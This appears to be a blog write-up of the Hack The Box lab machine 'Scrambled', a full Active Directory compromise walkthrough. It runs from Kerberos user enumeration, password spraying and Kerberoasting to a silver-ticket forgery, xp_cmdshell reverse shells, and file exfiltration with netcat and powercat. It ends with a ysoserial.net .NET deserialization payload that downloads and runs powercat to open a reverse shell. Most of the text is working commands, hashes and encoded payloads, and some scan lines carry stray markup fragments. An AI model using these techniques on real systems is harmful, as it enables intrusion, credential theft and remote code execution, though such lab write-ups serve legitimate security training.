HTB Scrambled

August 28, 2022 7-minute read

recon Link to heading

1ports=$(sudo nmap -p- --min-rate=1000 -T4 scrm.htb | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); sudo nmap -sC -sV -p$ports -oA scrm.htb scrambled

nmap output

 1Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-12 10:15 AWST
 2Nmap scan report for scrambled (10.10.11.168.png" position="center" style="border-radius: 8px;" >}}
 3Host is up (0.26s latency).
 4
 5PORT      STATE SERVICE       VERSION
 653/tcp    open  domain        Simple DNS Plus
 780/tcp    open  http          Microsoft IIS httpd 10.0
 8|_http-server-header: Microsoft-IIS/10.0
 9|_http-title: Scramble Corp Intranet
10| http-methods: 
11|_  Potentially risky methods: TRACE
1288/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-12 02:15:51Z.png" position="center" style="border-radius: 8px;" >}}
13135/tcp   open  msrpc         Microsoft Windows RPC
14139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
15389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name.png" position="center" style="border-radius: 8px;" >}}
16|_ssl-date: 2022-08-12T02:19:04+00:00; -5s from scanner time.
17| ssl-cert: Subject: commonName=DC1.scrm.local
18| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
19| Not valid before: 2022-06-09T15:30:57
20|_Not valid after:  2023-06-09T15:30:57
21445/tcp   open  microsoft-ds?
22464/tcp   open  kpasswd5?
23593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
24636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name.png" position="center" style="border-radius: 8px;" >}}
25|_ssl-date: 2022-08-12T02:19:04+00:00; -5s from scanner time.
26| ssl-cert: Subject: commonName=DC1.scrm.local
27| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
28| Not valid before: 2022-06-09T15:30:57
29|_Not valid after:  2023-06-09T15:30:57
301433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
31|_ssl-date: 2022-08-12T02:19:04+00:00; -5s from scanner time.
32| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
33| Not valid before: 2022-08-11T09:49:01
34|_Not valid after:  2052-08-11T09:49:01
353268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name.png" position="center" style="border-radius: 8px;" >}}
36| ssl-cert: Subject: commonName=DC1.scrm.local
37| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
38| Not valid before: 2022-06-09T15:30:57
39|_Not valid after:  2023-06-09T15:30:57
40|_ssl-date: 2022-08-12T02:19:04+00:00; -5s from scanner time.
413269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name.png" position="center" style="border-radius: 8px;" >}}
42|_ssl-date: 2022-08-12T02:19:04+00:00; -5s from scanner time.
43| ssl-cert: Subject: commonName=DC1.scrm.local
44| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
45| Not valid before: 2022-06-09T15:30:57
46|_Not valid after:  2023-06-09T15:30:57
474411/tcp  open  found?
48| fingerprint-strings: 
49|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
50|     SCRAMBLECORP_ORDERS_V1.0.3;
51|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
52|     SCRAMBLECORP_ORDERS_V1.0.3;
53|_    ERROR_UNKNOWN_COMMAND;
545985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP.png" position="center" style="border-radius: 8px;" >}}
55|_http-server-header: Microsoft-HTTPAPI/2.0
56|_http-title: Not Found
579389/tcp  open  mc-nmf        .NET Message Framing
5849667/tcp open  msrpc         Microsoft Windows RPC
5949673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
6049674/tcp open  msrpc         Microsoft Windows RPC
6149700/tcp open  msrpc         Microsoft Windows RPC
6249704/tcp open  msrpc         Microsoft Windows RPC
6350907/tcp open  msrpc         Microsoft Windows RPC
6462618/tcp open  msrpc         Microsoft Windows RPC
65Host script results:
66| ms-sql-info: 
67|   10.10.11.168:1433: 
68|     Version: 
69|       name: Microsoft SQL Server 2019 RTM
70|       number: 15.00.2000.00
71|       Product: Microsoft SQL Server 2019
72|       Service pack level: RTM
73|       Post-SP patches applied: false
74|_    TCP port: 1433
75| smb2-time: 
76|   date: 2022-08-12T02:18:25
77|_  start_date: N/A
78| smb2-security-mode: 
79|   3.1.1: 
80|_    Message signing enabled and required
81|_clock-skew: mean: -5s, deviation: 0s, median: -5s
82
83Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
84Nmap done: 1 IP address (1 host up) scanned in 205.24 seconds

port 80 Link to heading

simple IIS website; software:

IT Services page:

New user account form page:

port 88 Link to heading

kerbrute

1/opt/bin/kerbrute userenum -d scrm.local --dc scrm.local /usr/share/wordlists/kerberos_enum_userlists/A-ZSurnames.txt

I used the the “A-ZSurnames.txt” wordlist from this GitHub repo.

Can do the same thing with nmap:

1sudo nmap -p 88 --script krb5-enum-users.nse -script-args krb5-enum-users.realm='scrm.local',userdb=output.txt scrm.htb

Got bunch of users:

We’ll add these users to the file and then try to get the password. I tried with usernames as a password first:

1/opt/bin/kerbrute passwordspray -d scrm.local --dc scrm.local ~/Documents/htb/scrambled/user.txt username

got a passowrd ksimpson for the user

we can try to get TGT for the user now… maybe ?

1impacket-getTGT scrm.local/ksimpson:ksimpson

worked as expected.

So now we should be able to get user’s SPN..

1impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-ip 10.10.11.168 -request -no-pass -k

there was an error:

1Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
2[-] exceptions must derive from BaseExceptio

https://github.com/SecureAuthCorp/impacket/issues/1206

so, it’ll be like this: Also, go to the /GetUserSPNs.py and change the line in run() function to match the comment.

And of course I forgot to export the kerb file… FFS

1export KRB5CCNAME=ksimpson.ccache

1impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -no-pass -k

Output:

 1$python3 ~/tools/impacket-0.10.0/examples/GetUserSPNs.py 'scrm.local/ksimpson:ksimpson' -dc-ip dc1.scrm.local -k -no-pass -debug
 2Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
 3
 4[+] Impacket Library Installation Path: /home/sngk/.local/lib/python3.9/site-packages/impacket
 5[+] Connecting to dc1.scrm.local, port 389, SSL False
 6[+] Using Kerberos Cache: ksimpson.ccache
 7[+] SPN LDAP/DC1.SCRM.LOCAL@SCRM.LOCAL not found in cache
 8[+] AnySPN is True, looking for another suitable SPN
 9[+] Returning cached credential for KRBTGT/SCRM.LOCAL@SCRM.LOCAL
10[+] Using TGT from cache
11[+] Trying to connect to KDC at dc1.scrm.local
12[+] Connecting to dc1.scrm.local, port 636, SSL True
13[+] Using Kerberos Cache: ksimpson.ccache
14[+] SPN LDAP/DC1.SCRM.LOCAL@SCRM.LOCAL not found in cache
15[+] AnySPN is True, looking for another suitable SPN
16[+] Returning cached credential for KRBTGT/SCRM.LOCAL@SCRM.LOCAL
17[+] Using TGT from cache
18[+] Trying to connect to KDC at dc1.scrm.local
19[+] Total of records returned 4
20ServicePrincipalName          Name    MemberOf  PasswordLastSet             LastLogon                   Delegation 
21----------------------------  ------  --------  --------------------------  --------------------------  ----------
22MSSQLSvc/dc1.scrm.local:1433  sqlsvc            2021-11-04 00:32:02.351452  2022-08-12 11:02:58.451288             
23MSSQLSvc/dc1.scrm.local       sqlsvc            2021-11-04 00:32:02.351452  2022-08-12 11:02:58.451288

key:

1$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$17e4df738e5fb78ea513c31f1260ea5c$3a57aebd27f48db7bd5f626c759d9da51aeb30962e46da2c7f6b6e107bc70d77e4cafae714a22c65bf8e850739399376e1fe0594069a9cd65b6c89f693bad039e33b85f43f52c1ed97a7208b941d84cfadb576cde745f673154cd355f62890cda584c13226486e7a1ba8841266704ee737f781a3b5795832040c3f7f5a39c68cd167080f919493cbc6ea994be80bc16e82c3c8c0dcca1184bf3acf1a4945247d6248e55a8aa12d7ea972f8c379964418df8a3ff5e57d4396e20fd0d1f0a61b7ebc20cf4a8cd32289c5670fcabf796ea79eef284f51812c988f593bdbafac367da90ada224f99dea6d354782cae2389a18fcd738c2c1bd2317456324e08fa12e430c5b5188c3516c9cb16ebfeeb8672614d9590948cbc8abd08afb7d5518a412fc21e8f4fe17aba71b63a9b569d14d91681a1c21fa8c132e206703b2b22e99f1bb69e39a456d3d4dbae77e0e67a1fb84a5aedbf89b5916f03b6863b7b62f315ae1a51e956f63d8739ea77a26b6ea173ebdaa4b88d81b18b44b2033895d4e4367775636895a7637f96c9f4984bfb484f317ea1665977a8a51457e6801dce8706ee29daf04aaed9ffba852fb00ec7206454e3a6c639c626a24e93ee36d96a26c2e65e06bbf2dad49a7f8cd3eeac0326567cb6005c02dc19e0663d198b9c3fccc56056fe1d2ba8632902854a083ae349e60703162ef9fe598ef19b0a7a68b338424d50432c38aaa46055516e7af4b08983b9534377e50cbc5962f48c0d468b4bb5a5e48802850830f489d983319ba073b560670e34cc5e97fd4d2bff37ec9ee4beddc47171bb635ee987840203986240927fa13739d41f26154542dafa2d3e05ea48d5982bbff41234c77cec3b48a6b5e4317369b3110ff1969181187abd1f93ef11c6a07b49f81ec9d88efe0438569fc106b97265a48defbed2430dfe87869378fac318ee5e7e98d4bdb5178bac42aea160a5f78ecb7df804799a705a54fd2e12b0d7c4abff1bf9a622cc40d09a4f2ef5cff4c89e0b7234681a6c94e1d6035e3e4d98b299349c61f382f2e1dc0a33d54725d50a17e7228030177086a85465accc6ce90043a93c3f3cd51bd8515eea2fda1812ec4dd068733912f47e6b6da3700a9767ab6a6f4bca3680453c1fb747ef866a72ba6385df9513c025c34bb6243e8a8616798127bdb339a4d03b021b37e479c9db91317bd975d6df10de58ef0a8f2ecb24c421675c5543543b14e76df8307d04323516809958d5a467b18f51eeef503111dd35e9c351b6e15cac219e3c976cd88d9c4ca3e33d19ab04dc410c2274a7d2fe02f61cc95fa5c8e719332433c87a3e74e860fcc008dc148598929abccb95096cf488cd4549660c25957e64a76cd43548d86831dc45f3d7257a6dd83f01f830626f2339d22bc55484523c79b412db995a36e493c93e01c5312d66

crack the hash with john

1john hash -w=/usr/share/wordlists/rockyou.txt

got the user/pwd pair: MSSQLSvc/Pegasus60

PrivEsc Link to heading

impacket-secretsdump Link to heading

We got the error, but it doesn’t matter, we just needed a SID for admin account.

S-1-5-21-2743207045-1827831105-2542523200-500

impacket-ticketer Link to heading

We’re gonna use it and it requries domain SID and NTLM hash for the password can convert the password online

NTLM hash: B999A16500B87D17EC7F2E2A68778F05

the command will be as following:

1impacket-ticketer -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -spn MSSQLSvc/dc1.scrm.local  -user-id 500 Administrator

got the ticket, we export it now and try to connect to the SQL db.

impacket-mssqclient Link to heading

1impacket-mssqlclient dc1.scrm.local -k -no-pass

we got the password:

ScrambledEggs9900 for user MiscSvc

use https://www.revshells.com/ to createa a shell I used Poweshell#3 (base64).

1xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAGUAYwB0ACAAUlAG0ALgBOAGUAdA
2[REDACTED]
3cwBlAG4AZABiAHkAbgB0AC4AQwBsAG8AcwBlACgAKQA=

copy netcat and powercat to the box. start the http serer py:

1python3 -m http.server
2curl http://10.10.14.12:8000/ncat.exe -o C://Temp/ncat.exe
3curl http://10.10.14.12:8000/powercat.ps1 -o pc.ps1

Now we need to escalate to another user msqlsvc

1$p = "ScrambledEggs9900"
2$spw = $p | ConvertTo-SecureString -AsPlainText -Force 
3$creds = New-Object System.Management.Automation.PSCredential ('scrm\MiscSvc', $spw.png" position="center" style="border-radius: 8px;" >}}

So, we need to spawn another shell as MiscSvc user now. Create a listener and do invoke command

1Invoke-Command -Computer dc1 -Credential $creds -Command {C:\Temp\nc.exe -e powershell 10.10.14.12 4444}

1Invoke-Command -Computer dc1 -Credential $creds -Command {whoami}

found a few items in the share "C:\Shares\IT\Apps\sales order client" Let’s copy them over to temp and transfer to our machine via powercat

1copy-item "C:\Shares\IT\Apps\sales order client\ScrambleLib.dll" C:\Temp
2
3copy-item "C:\Shares\IT\Apps\sales order client\ScrambleClient.exe" C:\Temp

Now we’ll use powercat to copy files over to our machine.

Attacker machine:

1nc -lvp 8888 > ScambleClient.exe
2
3nc -lvp 8888 > ScambleLib.dll

windows box:

1#import powercat first via **import-module .\pc.ps1**
2#copy exe
3powercat -c 10.10.14.12 -p 8888 -i C:\Temp\ScrambleClient.exe
4#copy DLL 
5powercat -c 10.10.14.12 -p 8888 -i C:\Temp\ScrambleLib.dll

Let’s check the exe.file ScrambleClient.exe

So, it’s a .NET file, we can try to decompile it using the windows machine or Wine… via DotPeek or DNSpy.

This part of the code appears to be vulnerable: According to the hackertricks: .NET Deserialisation

If we check how it is serialised, we can see the following:

And as we know, it’s bad…

So, back to hackertricks, we can use ysoserial.net adn try to exploit the app. We know that the app is operating on the port 4411, so we can probably send some commands via netcat.

Good start. Now we’ll try to send ping using “ysoserial.net” generated exploit. The tool is “windows only” again… so, we’ll create an exploit on our windows machine But first, let’s listen for the traffic on our linux machine

1sudo tcpdump  -i tun0

1#Send ping
2.\ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "ping -n 5 10.10.14.12" -o base64

Now connect to the app via netcat and send the payload and check the tcpdump

Ok, it seems we need to specify a real command. According to the code, the function that handles the serialisation is “UploadOrder” and it’s command is UPLOAD_ORDER;

So let’s send the payload again with the prefix of UPLOAD_ORDER; Works as expected.

Now, we need to create a reverse shell to our linux box. We’ll create another payload via ysoserial.

Copy poweshell shell to our webserver folder.

1#Reverse shell
2#Create shell command in linux
3echo -n "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.12:8000/powercat.ps1');powercat -c 10.10.14.12 -p 9999 -e powershell" | iconv  -t UTF-16LE | base64 -w0

1#Create exploit using the created B64 shellcode
2
3.\ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQAyADoAOAAwADAAMAAvAHAAbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAcgBjAGEAdAAgAC0AYwAgADEAMAAuADEAMAAuADEANAAuADEAMgAgAC0AcAAgADkAOQA5ADkAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsAA==" -o base64

Connect to the app and execute the following:

1UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAzA1BQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdWdnOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhCdmQyVnljMmhsYkd3Z0xVVnVZMjlrWldSRGIyMXRZVzVrSUZOUlFrWkJSbWRCUzBGQ1QwRkhWVUZrZDBGMFFVVTRRVmxuUW5GQlIxVkJXWGRDTUVGRFFVRlZkMEkxUVVoTlFXUkJRbXhCUnpCQlRHZENUMEZIVlVGa1FVRjFRVVpqUVZwUlFtbEJSVTFCWWtGQ2NFRkhWVUZpWjBJd1FVTnJRVXhuUWtWQlJ6aEJaSGRDZFVGSGQwRmlkMEpvUVVkUlFWVjNRakJCU0VsQllWRkNkVUZIWTBGTFFVRnVRVWRuUVdSQlFqQkJTRUZCVDJkQmRrRkRPRUZOVVVGM1FVTTBRVTFSUVhkQlF6UkJUVkZCTUVGRE5FRk5VVUY1UVVSdlFVOUJRWGRCUkVGQlRVRkJka0ZJUVVGaWQwSXpRVWRWUVdOblFtcEJSMFZCWkVGQmRVRklRVUZqZDBGNFFVTmpRVXRSUVRkQlNFRkJZbmRDTTBGSFZVRmpaMEpxUVVkRlFXUkJRV2RCUXpCQldYZEJaMEZFUlVGTlFVRjFRVVJGUVUxQlFYVkJSRVZCVGtGQmRVRkVSVUZOWjBGblFVTXdRV05CUVdkQlJHdEJUMUZCTlVGRWEwRkpRVUYwUVVkVlFVbEJRbmRCUnpoQlpIZENiRUZJU1VGamQwSnZRVWRWUVdKQlFuTkJRVDA5SWlCVGRHRnVaR0Z5WkVWeWNtOXlSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJUZEdGdVpHRnlaRTkxZEhCMWRFVnVZMjlrYVc1blBTSjdlRHBPZFd4c2ZTSWdWWE5sY2s1aGJXVTlJaUlnVUdGemMzZHZjbVE5SW50NE9rNTFiR3g5SWlCRWIyMWhhVzQ5SWlJZ1RHOWhaRlZ6WlhKUWNtOW1hV3hsUFNKR1lXeHpaU0lnUm1sc1pVNWhiV1U5SW1OdFpDSWdMejROQ2lBZ0lDQWdJRHd2YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnUEM5elpEcFFjbTlqWlhOelBnMEtJQ0E4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1UFltcGxZM1JKYm5OMFlXNWpaVDROQ2p3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeVBncz0L

And we’re root